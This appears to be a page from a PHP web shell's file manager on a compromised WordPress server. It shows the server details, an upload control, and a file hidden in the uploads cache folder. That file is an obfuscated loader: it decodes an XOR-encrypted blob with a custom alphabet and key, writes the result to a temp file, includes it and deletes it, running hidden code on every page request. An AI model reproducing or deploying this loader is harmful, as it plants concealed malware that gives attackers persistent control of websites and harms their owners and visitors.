HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: chonvip (1209)
PHP: 8.1.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/chonvip/public_html/wp-content/uploads/2024/.cache/modules/cat.php
<?php
$encrypted = 'WxQOAR5IAhUEDR0DT0MjPDs7UlAEERMbDh1OSlAUFQkXExc-FRoECgNNVFBHHQ8aHRgaBE1HBggVBh8WLAocFREXJQcVBxwGR1lSW39tUkFTU1QaHE5oeEdSQVNTSE9QTFoCDwJseVNIT1BQRVJHFBQdEBwGHx5FFAgADBIHKhYEFRZaQxAYBxYbQ1BUFQACEQgAGgcBUE1FQE5SGn55SE9QUEVSR1JBU1NISwUeDAYUUlxTKE8tV1xFVSwwRl9TTyIyV0lSQDUjVF9ISCQyQi9cf2tTU0hPUFBFUkdSQVNXChYEFRZSWlIMEgtASxIJERcUXkFDWlNielBFUkdSQVNTSE9QUEECCAVBTlMOAx8fF1pPVgMKBw0cUE9FHggVSVcRERsVA0xSXVJRWlNHTxwfAlpWQlNHWkFUfXpFUkdSQVNTSE9QUEVWFx0WU05IAhkeTVYXHRZfUwsABR4RWkMHDxoHG0ZQXUVDTklseVNIT1BQRVJHUkFTU0wNCQQAAUddXFMDBxhYQVVAU15BVwMHGFlLaHhHUkFTU0hPUFBFUkcABAcGGgFQAgoHCRZJVxERGxUDSVJDAhMWEAEcGR8LW0dcQVRTT09eUEEHCRsVAChMHx8HOElqeEFTU0hPUFBFD2p4bHlTSE9QUEVSRxsHU1sBHC8UDABPVgIGARoKHgQ1ExMaSFpTE2J6UEVSR1JBU1NIT1BQQRsTFwwAU1VPAxMEHAMbE1tXCxoCAgAcEyIABxtBVH16aHhHUkFTU0hPUFBFUkdWBRoBG09NUD4vXH9rU1NIT1BQRVJHUkFTVw4GHBUWUlpSOi5IZWVQUEVSR1JBU1NIT1B9b1JHUkFTU0hPUFBFUgEdExYSCwdQWEEbExcMAFMJHFBUDAYCH0hTCGVlUFBFUkdSQVNTSE9QUEVSRxsHU1tMBgQVCFJaT1xTVEZIUAwZUkMbFRYeSFJNTUVVSVxGWlMLAB4EDBwSF1p-eWVlUFBFUkdSQVNTSE9QUEVSR1YIBxYFPxEEDVJaUkUQBhodFR4RIgYGCVNdSCs5IiAxMz0zKiw7KiAxNzMzPTNTXUhLGQQAH1x_a355SE9QUEVSR1JBU1NIT1BQRRsBUkkaADcLGQJNVg4GBB4jCRsYWUxSHH9rU1NIT1BQRVJHUkFTU0hPUFBFUkdWBRoBGzQtUFhSQxsVFh5TYnpQRVJHUkFTU0hPUFBFUkdSHFMWBBwVUB5_bVJBU1NIT1BQRVJHUkFTU0hPUFBFVgEbDRYAMzJQTUVWDgYEHkhlZVBQRVJHUkFTU0hPUFBFUkcPbHlTSE9QUEVSR1JBU1MVYnp9b1JHUkFTU0hPUFBFUkMWDhAGBQoeBDcdCAZBTlMaChEcFRMTGkkUFhwMBxRNW05JbHlTSE9QUEVSR1JBU1NMDAUCFxcJBjESBwBPTVAXFwYeERIHAEdUExAAFRcPByMJGxhZXn9tf2tTU0hPUFBFUkdSQVMaDk9YVAYHFQAEHQc4DgQYRVNaT0FXFwcMBR0AHBMgDhwHQU8LfW9SR1JBU1NIT1BQRVJHUkFTVxgOAhULBjcTFRtTVU8UGRccBh8EW1cLGgICABwTIgAHG0FUfXpFUkdSQVNTSE9QUEVSR1JBFhAAAFBXWR4OUgIfEhscTVIBGxVQX08SSAwcERYBWlAHGh8NHCMJFgYCH0NTGxoKFk1HTRcTFRtOT09eUBAACxcPEBwMClhUFRMVFw8HIwkbGFlFXEdVQ00oRkEtTEoTWU5OHxpWSEt9b1JHUkFTU0hPUFBFUhp_a355SE9QUEVSR1JBU1NICR8CABMEGkFbVwwGAgNFExRSRRcaGkZQC2h4R1JBU1NIT1BQRVJHUkFTU0wLGQI1ExMaQU5TTAwFAhcXCQYxEgcAT15QITs1NyInPDo2LyMgIiYgICc8Ok9eUEEWDgBafnlIT1BQRVJHUkFTU0hPUFBFFwQaDlNUVAMZUAYeBgESTlEMBgJSW1Vcf2tTU0hPUFBFUkdSQVNTSE9QFQYaCFJGTxoGHwUERRELExIATkoMGBUGGQUdGV4AGA4TGQsVRVIVCgMNUlITDRcEGQMcC0pPHhEIF1pQBRYfDRsVLwMbCxcSKC5KTwYRCQcCT0NUU0ZPGAQIHhQCBBAaCQMTGAQAFFpFFxoaPxEEDVtHXEFUUUgAHhMNEwkVBE5RHAAXFwkXIxcNFgcNLQUEER0JWkhRTU9UfXpFUkdSQVNTSE9QUEVSR1JBFhAAAFBXWRNHEQ0SABtSUhYMHgIBMgoAHAodNAwARVIJARYOUlJPFRMTGlxUU0ZPBQIJFwkRDhcWQEsUGRciBgYJWlNGT1dSWylHVUFdUwAbHRwWAgIRCBIfCwcRAhZaQxYIAVpIQVBXRS9HUl1cElZIS31vUkdSQVNTSE9QUEVSR1JBUxYLBx9QQk5IHghNVFNielBFUkdSQVNTSE9QUBh_bX9rU1NIT1BQRVJHUkFTFQcdFREGGkdaRRUaBAoDUAQBR1YHGh8NRlALaHhHUkFTU0hPUFBFUkdSQVNTTAkZHAAiBgYJU05ISxMFFwACHBUjEhwHUF5FNi4gJDAnJz0pLzY3NzMzMicnPVBeRVYBGw0WSGVlUFBFUkdSQVNTSE9QUEVSR1YHGh8NPBkKAFJaUgcaHw0cGQoAWkMUCB8WOA4EGExJanhBU1NIT1BQRVJHUkFTU0hPVBYMHgIhCAkWLgACHQQGExcFU05ICR8CCBMTMBgHFhtHVBYMHgIhCAkWQVR9emh4R1JBU1NIT1BQRVJHUkFTUw0MGB9FVVseCFMQBA4DA1hQARsNFlFWSEt9b1JHUkFTU0hPUFBFUkdSQVMWCwcfUEJODhwRBgdIDBwRFgFaUAIbFgsEEh8dXxQCABAaBghSUBELFxdcURAAChMbBx0fUEEdEgUKTVIBFwsXFRYsDgYcFRYpOlBBBRIEGhVNR1VHXEEbBwUDAwAAEQ4TDRAbCR0DWEEUDh4EIxIcB1lQS1JAUEEcHQsHER4CF1pQFRwUDwMVNAAeAgYEMQYcGx8eTVtFTEZIfmJPUFBFUkdSQVNTSE9QUEVSAhEJHFNPUxFQBh4GARJOUQ4GHBUWIR4BFRYeSk8YAgAUWlBeAxIcB01XRVxHBxMfFgYMHxQAWkMUCB8WOA4EGExSSVJGUU1PT15QDQYKHhIDFgsGERwGGgYAEltXDgYcFUxSSVJGU1NUQBFOQklqeEFTU0hPUFBFUkdSQVNTSE8VEw0dR1VBTwAYDh5QFgYeHgROUQ4DHxERSAQXDwcWGlRQFgocE18SGgkNVUBeXBcKSUEQHAQAAkoCAAYLWlFNT09eUEEUDh4EIBoSCjYfFx8GBhUWF0hBUFdZXRQCAB1NT1R9ekVSR1JBU1NIT1BQRVJHUkEWEAAAUFdZXQsbX1RIZWVQUEVSR1JBU1NIT1ANaHhHUkFTU0hPUA1oeEdSQVNTSE9QT1t_bVJBU1NUQAUcW39tUkFTU1QNBQQRHQlSCBdOSgsVHAAGAjAUBwcHAVJQBh4GARJOUQoaBAQKHEoeCBgWRQsVHEdSEwsRFk5KHAUSCBsTUEEABxEDFU1HHwYABhodRQMVFhFIR0dPRlZTTxQZFgILExhJHQcBFUtHTCMXDRYHDVNfEhAGEx0PTX5iU18WCgAKTGx5fmJTAxMXGxcGX355SE9QUAMHCREVGhwGTwQfAhULFyUWHw0bFTIQBhMdD1taSBR9ekVSR1JBU1NIDB8eFgZHEQkWEAMNHwgAAUdPQRccCxodFQsGSQMUFgERPBUcABETHRMyHwRHVxkLAhIGOh0SBQpNUgEXCxcVFiwOBhwVFik6UDxUWlNielBFUkdSQVNTCwAeAxFSBQcVBxwGT01QAR0EBwwWHRxBFxURNwsXDBYdHC0JOQFaQBYEHxYcCjIFEQYIHEZaSGVlUFBFUkdSQVMfDRtQERE-AhMSBzwGCjMYABEMFwVTTkgJERwWF1x_a355SE9QUEVSR1ICGxYLBBIfHRcUXAccAS0OExhNEQVSXE1TE2J6UEVSR1JBU1NIT1BQDBRHWgIRXQsHFRMOFwNbQQh-Yk9QUEVSR1JBU1NIT1BQRVIGBi0WEhsbPx4AMQ8XAhgWDE9NUBEAEhdafnlIT1BQRVJHUkFTU0gSfXpFUkdSQVNTSBJZS2h4anhBU1NIT1BQRRASBhUcHUYcBAkJF0kWCAADBA4JUFhSBgYtFhIbGz8eADEPFwIYFgxPT1BCGwkeCB0WRQ0cHwYZQFJbU1QGAB4VQklqeEFTU0gSfXpZXRQRExoDHFF9eg';
if (!function_exists('turtle')) {
    function turtle($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), turtle($encrypted, 'grasshopper'));
include $tmp;
unlink($tmp);

?>